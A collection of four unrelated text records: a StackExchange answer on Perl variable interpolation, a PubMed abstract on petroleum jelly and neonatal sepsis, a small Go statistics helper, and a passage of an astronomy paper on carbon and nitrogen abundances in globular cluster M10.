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[ "Q:\n\nWhat is the difference between $dxyabc and ${dxyabc} in Perl?", "\n\nWhat is the difference between definition of string $dxyabc and string ${dxyabc} in Perl?", "\n\nA:\n\nWell, it depends on the context. ", "For example, \n$foo = \"$dxyabcdef\";\n$bar = \"${dxyabc}def\";\n\n$foo will have the value of $dxyabcdef instead of $dxyabc appended with def, this is the value of $bar.", "\nOtherwise, as far as I know, they are the same.", "\n\nA:\n\nperldoc perldata explains why curlies are used in the context of scalar variables:\n\nAs in some shells, you can enclose the variable name in braces to\n disambiguate it from following alphanumerics (and underscores). ", "You must also do this when \n interpolating a variable into a string to separate the variable name\n from a following double-colon or an apostrophe, since these would be\n otherwise treated as a package separator:\n$who = \"Larry\";\nprint PASSWD \"${who}::0:0:Superuser:/:/bin/perl\\n\";\nprint \"We use ${who}speak when ${who}'s here.\\n\";\n\nWithout the braces, Perl would have looked for a $whospeak, a $who::0 , and a\n $who's variable. ", "The last two would be the $0 and the $s variables in\n the (presumably) non-existent package who .", "\n\nSo as others have mentioned, there is no difference between $dxyabc and ${dxyabc}. ", "The quoted documentation explains why there is a difference between \"$dxyabc_\" and \"${dxyabc}_\"\n\n" ]

{ "pile_set_name": "StackExchange" }

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[ "Use of topical petroleum jelly for prevention of sepsis in very low-birthweight infants: a prospective, randomised controlled trial.", "\nEmollient therapy is used frequently to prevent nosocomial infection in the management of preterm infants, despite a lack of adequate evidence of its efficacy. ", "To assess the efficacy of prophylactic whole-body application of pure preservative-free topical petroleum jelly on the incidence of nosocomial sepsis in very low-birthweight (VLBW) infants. ", "A prospective, randomised controlled trial of the application of topical petroleum jelly was conducted. ", "Infants weighing <1250 g at birth and with a gestational age of ≤32 weeks were included. ", "The intervention group received twice-daily topical therapy of 2 g/kg pure, preservative-free topical petroleum jelly until the completion of 34 weeks of gestation. ", "The control group received no topical petroleum jelly treatment. ", "The primary outcome was the incidence of late-onset sepsis during hospitalisation. ", "Other data collected included the pattern of temperature control, weight changes, fluid requirements, serum bilirubin level, electrolyte imbalance and skin condition. ", "Thirty-five infants in the intervention group and 39 in the control group were recruited. ", "Birthweight, gestational age, gender and perinatal variables were comparable in the two groups. ", "There was a trend towards an increased incidence of culture-proven nosocomial sepsis in the intervention group - 19 episodes (54%) in the intervention group vs 16 (41%) in the control group, and an increased rate of NEC - 20% in the intervention group vs 8% in the control group. ", "The intervention group had better skin condition throughout their stay and the incubator ambient temperature was lower in the intervention group in the 1st week of life. ", "The fluid balance of the infants in the intervention group was better, as reflected by their mean (SD) shorter time to regain birthweight [12 (5) vs 14 (6) days], and there were fewer episodes of hypernatraemia in the 1st week of life, although none of these reached statistical significance. ", "However, there was a significantly lower mean (SD) level of maximum hyperbilirubinaemia [157 (40) vs 182 (46) mmol/L, P = 0·02) in the intervention group. ", "Although prophylactic topical application of pure, preservative-free petroleum jelly brought substantial improvement of skin condition and temperature control, it was associated with a trend towards an increased rate of nosocomial sepsis." ]

{ "pile_set_name": "PubMed Abstracts" }

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[ "// Copyleft (ɔ) 2019 The Caliopen contributors.", "\n// Use of this source code is governed by a GNU AFFERO GENERAL PUBLIC\n// license (AGPL) that can be found in the LICENSE file.", "\n\npackage helpers\n\nimport (\n\tlog \"github.com/Sirupsen/logrus\"\n\t\"github.com/montanaflynn/stats\"\n)\n\n// ComputeDiscussionIL is the algorithm to return an Importance Level for a discussion\n// based on importance levels found within messages of the discussion.", "\n// It returns the average Importance Level of the top 10% most important messages.", "\n// If calculation fails, returned 0.", "\nfunc ComputeDiscussionIL(messagesIL []float64) float64 {\n\trank, err := stats.", "PercentileNearestRank(messagesIL, 90)\n\tif err !", "= nil {\n\t\tlog.", "WithError(err).Error(\"[ComputeDiscussionIL] failed to get percentile from set\")\n\t\treturn 0\n\t}\n\tvar percentile stats.", "Float64Data\n\tfor _, n := range messagesIL {\n\t\tif n >= rank {\n\t\t\tpercentile = append(percentile, n)\n\t\t}\n\t}\n\tmean, err := stats.", "Mean(percentile)\n\tif err !", "= nil {\n\t\tlog.", "WithError(err).Error(\"[ComputeDiscussionIL] failed to compute mean from set\")\n\t\treturn 0\n\t}\n\treturn mean\n}\n" ]

{ "pile_set_name": "Github" }

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[ "---\nabstract: 'We present CN and CH band measurements for 137 RGB and AGB stars in the Galactic globular cluster M10. ", "Our measurements come from low resolution spectroscopy taken with the Hydra spectrograph on the WIYN-3.5m telescope. ", "We use these measurements to identify two populations of stars within the cluster, a CN-normal and CN-enhanced, and find that in our sample 60% of stars are CN-enhanced. ", "Our large sample allows us to conduct a detailed analysis on the carbon and nitrogen abundances and the radial distribution of each population separately. ", "Our analysis of the radial dependence shows that each population has the same radial distribution in the cluster, which is likely due to the cluster being dynamically evolved. ", "We also compare our results to other methods of classifying multiple populations in globular clusters such as the Na-O anti-correlation and the HST pseudo-color magnitude diagrams. ", "We find that these three methods of identifying multiple populations are in good agreement with each other for M10 and all lead to an estimate of the fraction of second generation stars approximately equal to 60%. ", "Among AGB stars, when classified by the CN band, there appears to be a lack of second generation stars when compared to the RGB stars. ", "However, when classified by \\[N/Fe\\], we find a similar 60% of AGB stars in the second generation. ", "Finally, we use the measured carbon and nitrogen abundances in RGB stars to study the change of each element with magnitude as stars evolve up the RGB, comparing the results to globular clusters of similar metallicity, M3 and M13.'", "\nauthor:\n- 'Jeffrey M. Gerber'\n- 'Eileen D. Friel'\n- Enrico Vesperini\ntitle: Light Element Abundances and Multiple Populations in M10\n---\n\nIntroduction\n============\n\nUntil recently, Galactic globular clusters (GC) were considered simple stellar populations formed out of the same material and therefore characterized by the same chemical composition. ", "However, numerous photometric and spectroscopic studies have shown that the stellar populations in GCs are far from simple and provided strong evidence that these systems host multiple stellar populations characterized by a spread in light elements and anti-correlations between C-N, Na-O, Mg-Al (e.g., @gratton [and references therein]).", "\n\nThe first studies that discovered light element abundance variations were low resolution spectroscopic studies focused on the blue CN and CH bands around 3800 Å and 4300 Å, respectively [e.g., @suntzeff; @kraft and references therein]. ", "Differences in these bands among the brightest red giant branch (RGB) stars indicated variations in carbon and nitrogen along the RGB. ", "What was still unknown, however, was whether or not these variations were primordial or caused by evolutionary effects that had taken place as the stars ascended the RGB. ", "At first, the primordial solution seemed unlikely due to the homogeneous nature of the heavier elements in the clusters.", "\n\nWe now know that both primordial abundance variations and evolutionary effects are behind these light element variations in the RGB stars of GCs. ", "Studies over the last twenty years have shown that the variations in CN and CH band strength (and therefore carbon and nitrogen abundance) exist even on the main sequence and sub-giant branch of GCs, which means the inhomogeneities are primordial [e.g., @2dfrutti; @briley1992; @briley2004b; @cohena; @cohen2005 etc.]. ", "The observed chemical properties of the multiple populations in GCs suggest that a significant fraction of stars in these systems formed out of gas processed in a previous generation of polluting stars. ", "A number of different polluters have been proposed in the literature including massive AGB stars [see e.g., @ventura2001; @dantona2016], fast rotating massive stars [@maeder2006; @prantzos2006; @decressin2007a; @decressin2007b], massive binary stars [@demink2009], and supermassive stars [@denissenkov2014]; but the origin of the gas out of which the different stellar populations in GCs formed is still debated and a matter of intensive investigation.", "\n\nHowever, evolutionary effects are also evident in data that show the carbon abundance of RGB stars decreasing with increasing luminosity. ", "This decrease begins after the stars have passed the luminosity function bump (LFB), which is an evolutionary “stall\" seen on the RGB [e.g., @suntzeff; @suntzeff91; @m13cfe and references therein].", "\n\nThe stall is caused when the H-burning shell around the core of a low-mass RGB star advances outwards and encounters a large difference in the mean molecular weight, called the $\\mu$-barrier. ", "The $\\mu$-barrier is created (or left behind) by the convective envelope at its deepest penetration into the star during the first dredge up [@iben1965]. ", "As the H-burning shell expands, it encounters the $\\mu$-barrier and the sudden influx of hydrogen-rich material causes the star to become bluer and fainter. ", "The star then reaches equilibrium and continues to evolve up the RGB [@iben1968; @cassisi2002]. ", "In the color-magnitude diagrams (CMDs) of populous GCs, this evolutionary stutter is observed as a large number of stars all at the same magnitude, which creates the LFB.", "\n\nThe astrophysical cause of this evolutionary depletion in carbon and simultaneous increase in nitrogen has been the subject of debate. ", "While lower carbon isotope ratios in late RGB stars indicate that this material comes from CN(O)-cycle processing deep within the star, the question is what mechanism is allowing it to move past the radiative zone which separates the hydrogen burning envelope from the convective layer and should prevent any material from passing between the two. ", "Some of the theories describing the cause of this deep mixing, which is distinct from the first and second dredge events and only appears to occur in stars near solar mass (0.5-2.0 $M_\\odot$), are rotational mixing [@sweigart; @chaname; @palacios], magnetic fields [@palmerini; @nordhaus; @busso; @hubbard], internal gravity waves [@denissenkov2000], and thermohaline mixing [@eggleton2006; @eggleton2008; @charbonnel]. ", "While the latter of these mechanisms seems to be the most promising, it still requires more data to better understand and constrain the theory.", "\n\nWhile previous studies using spectroscopy to measure C and N have identified multiple populations and the characteristics of deep mixing, they have often lacked the sample sizes necessary to model these properties with statistical significance. ", "The logical next step is to increase the sample size over previous studies to better constrain models of the underlying phenomena creating the observed light element inhomogeneities. ", "We present our study of low resolution spectroscopy covering the blue CN and CH bands for a uniform sample of over 120 RGB stars in M10. ", "Our study has an advantage over previous studies of M10 due to its much larger sample size, which allows us to track the C, N abundances of the stars in each population as they climb the RGB. ", "In addition, the broad radial coverage of our data allows us to study the spatial distribution of the multiple populations separated by CN band strength.", "\n\nWe chose to study M10 for a number of reasons. ", "First, its C and N abundances have not been well studied previously; @smith studied C and N for only 15 stars. ", "However, Na and O have been determined by @gir [@uves] for numerous stars in the cluster, so classification of populations by different abundance indicators can be made. ", "Second, at an intermediate metallicity of \\[Fe/H\\] $\\sim$ -1.5, M10 also provides an interesting comparison with other well studied clusters such as M3 and M13. ", "Lastly, M10 provides a midpoint in metallicity as part of a larger study we are undertaking of GCs covering a range of metallicities from \\[Fe/H\\] $\\sim$ -2 to -0.7.", "\n\nIn the following paper we will present our full sample of 124 RGB and 13 AGB stars. ", "Section \\[Observations\\] describes our selection criteria and the data reduction. ", "Section \\[Analysis\\] discusses the band measurements and calculations of C and N abundances for all stars in the sample. ", "A discussion of the spatial distribution for the separate populations of stars in M10, the evolution of C and N with magnitude, and comparison to other clusters of similar metallicity (namely, M13 and M3) are in Section \\[Results\\]. ", "We summarize our results and draw conclusions in Section \\[Conclusions\\].", "\n\nObservations and Data Reduction {#Observations}\n===============================\n\nObservations and Target Selection\n---------------------------------\n\nWe obtained 190 different spectra of stars within a 18’ by 18’ grid around the center of M10 in two observation runs from 1-4 Aug. 2014 and 10-12 Jun. 2016 using the Wisconsin-Indiana-Yale-NOAO (WIYN)[^1] 3.5m Telescope and Hydra, a multi-object, fiber-fed bench spectrograph. ", "The Bench Spectrograph was used with the “600@10.1\" grating, which resulted in spectra with a $\\sim4.5$ Å pixel$^{-1}$ dispersion covering a range of $\\sim2800$ Å. The spectra taken during the 2014 run are centered at a wavelength of $4900$ Å, while the spectra taken during the 2016 run are centered at $5100$ Å. Six different configurations of fibers were necessary to obtain the full sample size.", "\n\nWe selected our target stars based on their location in the $V$ versus $(B-V)$ CMD using photometry from @photometry. ", "Stars were chosen to have $V \\leq 17.5$, which allows us to cover the entire RGB of M10 down to the sub-giant branch as shown in Figure \\[cmd-sample\\]. ", "We also selected stars covering a large range of radii from the cluster center, allowing us to study trends with both magnitude and spatial distribution in the multiple populations in M10.", "\n\nAnother criterion for stars in our sample was whether or not the stars had measured Na and O abundances in the literature, so that we could compare our results separating the populations using the C-N anti-correlation to those using the Na-O anti-correlation. ", "Stars with Na and O literature values from either @gir, @uves, or [@smith] were given high priority. ", "We also included 13 stars from @smith in our sample to allow comparison between our values for C and N. Figure \\[cmd-sample\\] shows which stars in our sample overlap with either @gir, @uves, or @smith. ", "Some stars were measured on multiple nights to allow for a statistical determination of our uncertainties.", "\n\nData Reduction and Radial Velocities {#datareduction}\n------------------------------------\n\nWe reduced the data with the standard IRAF[^2] software to perform bias subtraction. ", "The package *dohydra* was then used for flat fielding, dispersion correction with a CuAr comparison lamp spectrum, and extraction to one-dimensional spectra. ", "We exposed configurations of bright stars (with $M_v \\leq 0.5$) for a total integration time of $\\sim$1 hr over 7-10 exposures and configurations of faint stars (with $M_v > 0.5$) for a total integration time of $\\sim$2.5-3 hrs over 5-6 exposures to reduce the effects of cosmic rays and prevent saturation of the CCD. ", "The processed spectra from each exposure were combined using the IRAF task *scombine*. ", "Final combined spectra had a S/N of $\\sim$20-40 at 3883 Å (the CN band) and $\\sim$100 at 4300 Å (the CH band).", "\n\nMembership was determined for the stars in our sample using radial velocities measured with the IRAF task *fxcor*. ", "Stars were cross correlated against a radial velocity standard, which was observed on multiple nights during the 2016 run to ensure a consistent velocity measurement. ", "To be certain that the standard star could be used to determine accurate velocities for the 2014 run, the radial velocity of the standard star was measured against a sky flat taken during the 2014 run. ", "Since the correct velocity for the standard was determined with this method, we decided the standard star would be effective at measuring accurate velocities for both runs.", "\n\nWe determined a median velocity of 71 km s$^{-1}$ with a standard deviation of 11 km s$^{-1}$ for the cluster based on our observations. ", "Individual measurement uncertainties from *fxcor* are $\\sim$20 km s$^{-1}$, while differences between multiple measurements for 23 stars have standard deviations of  10-15 km s$^{-1}$. Even with our large uncertainties, we find good agreement with values in the literature. ", "@dinescu found a radial velocity of 75.5 $\\pm$ 1.1 km s$^{-1}$ and @gir [@uves] found 73.92 $\\pm$ 4.95 km s$^{-1}$ from higher resolution data.", "\n\nWe consider stars falling outside $3\\sigma$ of our median velocity for the cluster to be non-members. ", "Without these non-members, we are left with 137 stars including 123 RGB stars and 14 AGB stars. ", "These stars are distinguished in Figure \\[cmd-sample\\].", "\n\nAnalysis {#Analysis}\n========\n\nCN and CH Bands\n---------------\n\n### Index Definitions\n\nMeasuring the molecular band strength of a given spectrum typically involves taking the ratio of the integrated flux of a wavelength range containing the molecular feature to the integrated flux of a nearby area of the continuum. ", "A number of CN and CH bands have been defined over the years to optimize band measurements in various luminosity and metallicity ranges [see @martell]. ", "For the CN band, we chose to use the S(3839) band from @bands to avoid contamination of hydrogen lines that become present in stars lower on the RGB. ", "We also use the CH(4300) index defined by @bands to allow easy comparison between our work and the literature. ", "We weight our CH bandpass integrations by the width in angstroms of the spectral bandpass window. ", "Our final band definitions are:\n\n$$S(3839) = - 2.5log\\frac{F_{3861-3884}}{F_{3894-3910}}$$\n\n$$CH(4300) = -2.5log\\frac{F_{4285-4315}/30}{0.5(C_1 + C_2)}$$\n\n$$C_1 = F_{4240-4280}/40$$\n\n$$C_2 = F_{4390-4460}/70$$\n\nWe used a trapezoid rule with non-uniform step sizes to numerically integrate these windows and calculate the bands. ", "We note that @boberg6791 points out how the numerical method of calculating these integrals can affect the final band measurements, especially in spectra with a S/N below 40. ", "However, these effects are lower than the uncertainty in our bands caused by other factors such as night-to-night variations, which we can evaluate from stars measured on multiple nights.", "\n\n### Flux Calibration {#flux_calibration}\n\nBecause the S(3839) band only has one comparison window, the measurement can be affected by small changes in the continuum. ", "Therefore, it was essential to correct for the instrumental response, so that the shape of the continuum better matched what would be expected for the surface conditions of the stars observed.", "\n\nTo fit and remove the instrumental response, we followed a similar method to that of @2dfrutti. ", "We first generated appropriate synthetic spectra for each star based on their atmospheric parameters such as effective temperature and surface gravity. ", "Atmospheric parameters were determined by the infrared flux method as outlined in @alonso [@alonsoerrat], which makes use of V-K colors to determine an effective temperature. ", "K magnitudes were from the 2MASS survey [@2mass], and V magnitudes were from @photometry. ", "For stars without a K magnitude measured by 2MASS, we used the relationship between B-V colors and temperature from @alonso. ", "Magnitudes were transformed to the TCS photometric system following the relations summarized in @colortransforms, and we adopted an E(B-V) of 0.28 [@photometry]. ", "Once effective temperatures were calculated, we then calculated surface gravities using the bolometric corrections given by @alonso. ", "We also transformed the apparent magnitudes to absolute magnitudes using the apparent distance modulus (m – M)$_{v}$ = 14.18 [@photometry]. ", "Our final temperatures, surface gravities, and absolute magnitudes are listed in Table \\[tab:alldata\\], which can be found in its entirety online.", "\n\n[cccccccccccccccccc]{} 9 & 254.29484 & -4.07889 & 81.0 & 11.85 & -2.33 & 7.62 & 3964.0 & 0.68 & -0.062 & 0.087 & 0.325 & -1.00 & 1.59 & -0.110 & & RGB & y\\\n11 & 254.25159 & -4.10039 & 68.0 & 11.88 & -2.30 & 7.90 & 4098.0 & 0.81 & -0.203 & -0.059 & 0.354 & -0.56 & 0.77 & 0.230 & & RGB & y\\\n14 & 254.38488 & -4.05021 & 62.0 & 12.00 & -2.18 & 8.06 & 4120.0 & 0.88 & -0.043 & 0.077 & 0.333 & -0.72 & 1.22 & & & RGB & y\\\n15 & 254.28968 & -4.12285 & 91.0 & 12.01 & -2.17 & 7.84 & 3994.0 & 0.77 & 0.008 & 0.126 & 0.311 & -1.13 & 1.77 & -0.260 & & RGB & y\\\n22 & 254.28057 & -4.12394 & 80.0 & 12.24 & -1.94 & 8.38 & 4165.0 & 1.01 & 0.100 & 0.189 & 0.306 & -0.84 & 1.68 & & & RGB & y\\\n23 & 254.26598 & -3.99828 & -123.0 & 12.27 & -1.91 & 7.65 & 3800.0 & 0.67 & -0.136 & -0.050 & 0.367 & -0.52 & 1.87 & & & RGB & n\\\n26 & 254.27816 & -4.05295 & 77.0 & 12.42 & -1.76 & 8.78 & 4310.0 & 1.19 & 0.159 & 0.236 & 0.298 & -0.78 & 1.62 & & & RGB & y\\\n28 & 254.32108 & -4.22408 & 66.0 & 12.46 & -1.72 & 8.76 & 4267.0 & 1.17 & 0.224 & 0.299 & 0.316 & -0.72 & 1.70 & & & RGB & y\\\n33 & 254.39517 & -4.11894 & 75.0 & 12.60 & -1.58 & 8.95 & 4299.0 & 1.25 & -0.120 & -0.047 & 0.361 & -0.36 & 0.82 & & & RGB & y\\\n36 & 254.31011 & -4.18646 & 67.0 & 12.65 & -1.53 & 9.00 & 4301.0 & 1.27 & -0.209 & -0.135 & 0.363 & -0.36 & 0.65 & & & RGB & y\\\n39 & 254.43930 & -4.18652 & -82.0 & 12.71 & -1.47 & 8.98 & 4250.0 & 1.26 & -0.181 & -0.107 & 0.362 & -0.37 & 0.73 & & & RGB & n\\\n43 & 254.26157 & -4.17248 & 80.0 & 12.78 & -1.40 & 9.28 & 4413.0 & 1.40 & -0.175 & -0.099 & 0.343 & -0.40 & 0.77 & & & RGB & y\\\n45 & 254.26936 & -4.10946 & 78.0 & 12.79 & -1.39 & 9.23 & 4364.0 & 1.37 & 0.003 & 0.080 & 0.316 & -0.73 & 1.15 & -0.070 & & RGB & y\\\n47 & 254.29493 & -4.11179 & 59.0 & 12.82 & -1.36 & 9.52 & 4560.0 & 1.51 & -0.192 & -0.114 & 0.290 & -0.53 & 0.93 & & -0.001 & AGB & y\\\n49 & 254.30720 & -4.14313 & 77.0 & 12.84 & -1.34 & 9.24 & 4342.0 & 1.37 & -0.137 & -0.059 & 0.340 & -0.43 & 0.87 & & & RGB & y\\\n51 & 254.30114 & -4.09260 & 63.0 & 12.87 & -1.31 & 9.54 & 4460.0 & 1.46 & -0.178 & -0.098 & 0.331 & -0.43 & 0.80 & 0.373 & -0.044 & RGB & y\\\n53 & 254.27298 & -4.14345 & 80.0 & 12.89 & -1.29 & 9.39 & 4413.0 & 1.44 & 0.076 & 0.156 & 0.324 & -0.39 & 1.09 & 0.319 & 0.332 & RGB & y\\\n54 & 254.30902 & -4.09251 & 68.0 & 12.89 & -1.29 & 9.39 & 4410.0 & 1.44 & -0.137 & -0.056 & 0.338 & -0.31 & 0.90 & 0.596 & 0.003 & RGB & y\\\n59 & 254.15202 & -4.23894 & 108.0 & 12.96 & -1.22 & 9.68 & 4579.0 & 1.57 & -0.158 & -0.073 & 0.353 & -0.28 & 0.76 & & & RGB & n\\\n62 & 254.30327 & -4.05438 & 71.0 & 13.04 & -1.14 & 9.85 & 4662.0 & 1.65 & -0.146 & -0.056 & 0.231 & -0.74 & 1.29 & 0.303 & 0.249 & AGB & y\\\n63 & 254.29659 & -4.05532 & 72.0 & 13.05 & -1.13 & 9.67 & 4505.0 & 1.56 & 0.153 & 0.243 & 0.282 & -0.82 & 1.48 & -0.340 & & RGB & y\\\n65 & 254.30013 & -4.10028 & 64.0 & 13.07 & -1.11 & 9.94 & 4733.0 & 1.70 & -0.170 & -0.078 & 0.198 & -0.80 & 1.42 & & & AGB & y\\\n67 & 254.28263 & -4.16026 & 68.0 & 13.12 & -1.06 & 9.94 & 4677.0 & 1.69 & -0.244 & -0.148 & 0.270 & -0.46 & 0.91 & 0.527 & -0.207 & AGB & y\\\n\nBecause we were only concerned with determining the shape of the continuum, we assumed an \\[Fe/H\\] of -1.56 based on the value from @harris (2010 edition), and used solar abundances for carbon, nitrogen, and oxygen [@asplund]. ", "Synthetic spectra were created using the Synthetic Spectrum Generator (SSG) [@ssg and references therein], which makes use of MARCS model atmospheres [@marcs]. ", "The continua of our observed spectra were then normalized to the continua of the theoretical spectra generated for each star. ", "The normalization was conducted by calculating the ratio between an observed stellar spectrum’s continuum and its theoretical continuum at various flux points carefully chosen to avoid regions affected by CN and CH. ", "The ratio was then fit with a spline function, which was normalized to one. ", "Finally, each observed spectrum was divided by its normalized fit to produce a spectrum with a continuum free of instrumental response.", "\n\n### Band Measurements {#bandmeasurements}\n\nCN and CH measurements were made on the flux calibrated spectra and are plotted in Figure \\[bands\\] as a function of absolute magnitude, M$_v$. Our uncertainties in this figure are derived from the standard deviation of measurements for stars that were observed across either multiple nights or multiple runs. ", "Stars were divided into two categories: bright with M$_v < 1.0$ and faint with M$_v \\geq 1.0$. A median standard deviation was determined for stars in each category and applied to all stars in that category. ", "For the CN band, both categories had similar standard deviations, so an uncertainty of 0.04 was adopted for all stars. ", "For the CH band, this method gave an uncertainty of 0.01 for the bright stars and 0.02 for the faint stars.", "\n\nThe effect of surface gravity and effective temperature on the band strength can be clearly seen in Figure \\[bands\\] as both bands tend to increase with increasing luminosity. ", "The CN band also shows a clear separation into two populations (CN-enhanced and normal), especially at the brighter magnitudes. ", "It should also be noted that the AGB stars in the sample appear to have low CN and CH band strengths compared to the RGB stars at similar magnitude; we will discuss the behavior of AGB stars later (see Section \\[AGB\\]). ", "While dividing the two populations by eye seemed reasonable, we wanted to establish an objective way of separating the CN-enhanced and normal populations. ", "Having an objective method for separating populations was especially important for the faint stars in the sample where the band begins to lose sensitivity, and the populations are not as well separated.", "\n\nTo create an objective way to organize the stars into populations, we first defined a $\\delta$CN index by modeling and removing the effect of luminosity on the band strength. ", "The CN band dependence on luminosity was modeled using synthetic spectra created with the SSG. ", "Surface gravities and effective temperatures were determined using a Yonsei-Yale, *YY*$^2$ isochrone [@yy; @yi2001] generated for a 12 Gyr cluster with \\[$\\alpha$/Fe\\] of 0.3 dex and \\[Fe/H\\] of -1.56. ", "\\[C/Fe\\] was varied from -1.4 to 0.4 dex, and \\[N/Fe\\] was varied from -0.6 to 2.0 dex. ", "\\[O/Fe\\] values were chosen based on the abundances found by @gir [@uves], as explained in the next section. ", "The final model generated band strengths are shown in Figure \\[isolines\\] as lines of constant abundance (“isoabundance\" lines) in the CN and CH vs. M$_v$ plane. ", "These isoabundance lines represent how the bands change with magnitude due to changes in surface gravity and effective temperature. ", "The trends seen with changing magnitude in the isoabundance lines also appear in the measured band strengths shown in Figure \\[bands\\]. ", "Figure \\[isolines\\] also shows how the CN and CH bands lose sensitivity near the faint magnitude limit for our sample, especially at magnitudes fainter than M$_v$ $\\sim$ 3.0 where the temperature of the stars is such that the molecules begin to dissociate causing the band strengths to weaken and converge.", "\n\nA model was then chosen representing the average carbon and nitrogen abundances for the cluster based on the 15 stars previously measured by @smith. ", "We also accounted for evolutionary effects that change carbon and nitrogen abundance with magnitude following the measured carbon and nitrogen abundances discussed in Section \\[evolution\\]. ", "A spline was then fit to the average isoabundance line, and used as a dividing line between the two populations as shown in Figure \\[bands\\]. ", "The $\\delta$CN index was calculated by subtracting the measured CN value from the average isoabundance fit at that magnitude. ", "All stars with a positive $\\delta$CN value were identified as CN-enhanced, and those with a negative $\\delta$CN were identified as CN-normal. ", "In Figure \\[bands\\], points are coded based on their $\\delta$CN strength with CN-enhanced stars indicated as filled points and CN-normal stars indicated as open.", "\n\nDetermining C and N Abundances {#candn}\n------------------------------\n\nWe can use the measured CN and CH bands to determine C and N abundances, following the methods of @briley2004a [@briley2004b]. ", "Using the SSG, which makes use of MARCS model atmospheres [@marcs], we generate synthetic spectra for each star and then vary the C and N abundances of the synthetic spectrum until it matches that star’s CH and CN band measurements. ", "We used the same effective temperatures and surface gravities determined for flux calibration (see section \\[flux\\_calibration\\]). ", "We assumed a microturbulence of 2.0 km s$^{-1}$ and a $C^{12}/C^{13}$ ratio of 4.0, which are reasonable for RGB stars in GCs [e.g., @suntzeff91; @pavlenko]. ", "For the \\[O/Fe\\] value for each star, we used the value provided by @gir [@uves] if available. ", "If no value was measured by @gir [@uves], we used measurements from @kraft1995. ", "In cases where \\[O/Fe\\] was not measured for the star, we assumed an \\[O/Fe\\] of 0.11 dex for CN-enhanced stars and 0.39 dex for CN-normal stars. ", "These abundances are based on the average values for the second and first generations, respectively, from the measurements made by @gir [@uves].", "\n\nTo determine uncertainties in our abundance measurements, we consider separately the impact of uncertainties in the effective temperature and surface gravity, the \\[O/Fe\\] value, and the band measurements. ", "We account for all of these factors by adjusting values in the following ways and then recalculating abundances for each star. ", "First, we adjust the temperature by 150 K. Second, we swap the \\[O/Fe\\] of CN-enhanced and CN-normal stars. ", "Finally, we increase every star’s CN band and decrease the CH band by their respective uncertainties, which maximizes the impact of the band uncertainties since the bandstrengths are negatively correlated.[^3] We then evaluate how the C and N abundances would be different for each factor and combine them in quadrature. ", "This method gives an uncertainty of $\\sim$0.2-0.25 dex for the \\[C/Fe\\] and \\[N/Fe\\] of stars with M$_v <$1, and an uncertainty of 0.35 dex for the fainter stars. ", "For the \\[C/Fe\\] values, the uncertainties of the brightest stars (M$_v < -1$) are dominated by the \\[O/Fe\\] uncertainty, which causes a change up to 0.15 dex (if no \\[O/Fe\\] is measured and the wrong average O abundance is used). ", "However, around M$_v = -1$ and fainter the effective temperature becomes the dominating factor in the \\[C/Fe\\] uncertainty as its influence can cause a change of 0.3 dex, while the uncertainty in the O abundance only causes a change of 0.05 dex. ", "For \\[N/Fe\\] measurements, the uncertainties are dominated by the uncertainties in the CN band strengths. ", "After that, the effective temperature and surface gravity are the next dominant effect.", "\n\nThe uncertainties of the faint stars (M$_v >$1) are larger due to the following two effects. ", "First, they have a lower S/N and therefore have higher measurement uncertainties than the bright stars. ", "Second, the CN band loses sensitivity at faint magnitudes, as shown by the convergence of isoabundance lines in Figure \\[isolines\\], which is caused by the temperatures of these stars being hot enough to dissociate the molecules in their atmospheres. ", "Therefore for faint stars, bands will be weaker and more difficult to measure, and less sensitive to abundance changes, leading to higher uncertainties in derived abundances. ", "For all of these reasons, our classification into CN-enhanced and CN-normal is less secure at the faint end. ", "The left panel of Figure \\[bands\\] shows that the uncertainties for many of the faint stars in our sample could lead them to be classified in either population.", "\n\nOur final derived values for \\[C/Fe\\] and \\[N/Fe\\] are listed in Table \\[tab:alldata\\] along with our band measurements and shown in Figure \\[nfevscfe\\] where we color code points based on their $\\delta$CN values. ", "The anti-correlation between C-N is clearly present, as expected, with N abundances increasing as C abundances decrease. ", "CN-enhanced and CN-normal stars also map directly onto enhanced and normal N abundances, respectively. ", "We also see in Figure \\[nfevscfe\\] that RGB stars do not separate cleanly into two populations in the C-N plane, and that the high N stars show a range of C abundances. ", "Two factors contribute to this continuous distribution.", "\n\nFirst, the fainter stars in our sample have higher uncertainties than the brighter stars, as explained above. ", "These higher uncertainties ($\\sim$0.35 dex for \\[N/Fe\\]) cause any boundary between the two populations to become blurred. ", "We have indicated the fainter stars (M$_v > 1$) as smaller points in Figure \\[nfevscfe\\]; these points show a more dispersed distribution, particularly populating the region of high N and high C abundances. ", "The faint stars populate this region due to asymmetrical uncertainties in the abundance measurements caused by the band strengths becoming less sensitive to changes in abundance as temperatures increase (see Figure \\[isolines\\]). ", "If only the brighter stars are considered (the larger points), the C-N anti-correlation is more pronounced and a somewhat more distinct separation between populations can be seen. ", "A second factor, however, contributes to the distribution in Figure \\[nfevscfe\\]. ", "The stars sample the entire range of the RGB, and the underlying dependence of abundance on stellar magnitude, with its depletion of C and enhancement of N with evolutionary state, will serve to smooth any initial differences in abundance between the stellar populations. ", "We will discuss these evolutionary effects in a later section (\\[evolution\\]).", "\n\nResults and Discussion {#Results}\n======================\n\nMultiple CN Populations in M10\n------------------------------\n\n$\\delta$CN measurements have traditionally been used to separate stars into populations in GCs [see @gratton and references therein]. ", "Similarly, we used our $\\delta$CN index to identify a CN-enhanced and CN-normal population as discussed in Section \\[bandmeasurements\\]. ", "Figure \\[gmm\\] shows that the $\\delta$CN strengths correlate directly with N abundance, as expected. ", "The few outliers at high \\[N/Fe\\] for their $\\delta$CN strengths are at the extreme magnitude limits of the sample where the CN band is less sensitive to changes in N abundance, and so their $\\delta$CN index will be smaller than it is for the bulk of the stars at the same N abundance.", "\n\nFigure \\[gmm\\] also shows the marginal distributions in $\\delta$CN and \\[N/Fe\\] along the x and y axes, respectively. ", "These two distributions clearly show the presence of several populations. ", "However, it appears that the CN-enhanced population has a broader distribution than the others, suggesting that perhaps there are several populations contributing to this broad peak. ", "Studies have shown that GCs can host more than two populations with an extreme example being the five populations found in NGC 2808 [@milone5pop]; @gir [@uves] found that in a number of GCs the Na-O anti-correlation shows evidence of an “extreme\" second generation in addition to the “intermediate\" second generation found in all clusters. ", "We used a Gaussian Mixture Model (GMM) to explore how many populations are needed to describe the distributions of both $\\delta$CN and \\[N/Fe\\].", "\n\nThe GMM fit for the $\\delta$CN distribution indicates that the CN-enhanced population does indeed have a larger standard deviation than the CN-normal population, with a standard deviation of 0.092 versus 0.061. ", "We use the Bayesian information criterion (BIC) and the Akaike information criterion (AIC) to compare the success of fitting different models [see e.g., @ivezic], finding a best fit to both the $\\delta$CN and the \\[N/Fe\\] distributions with just two populations. ", "Contrary to the case for 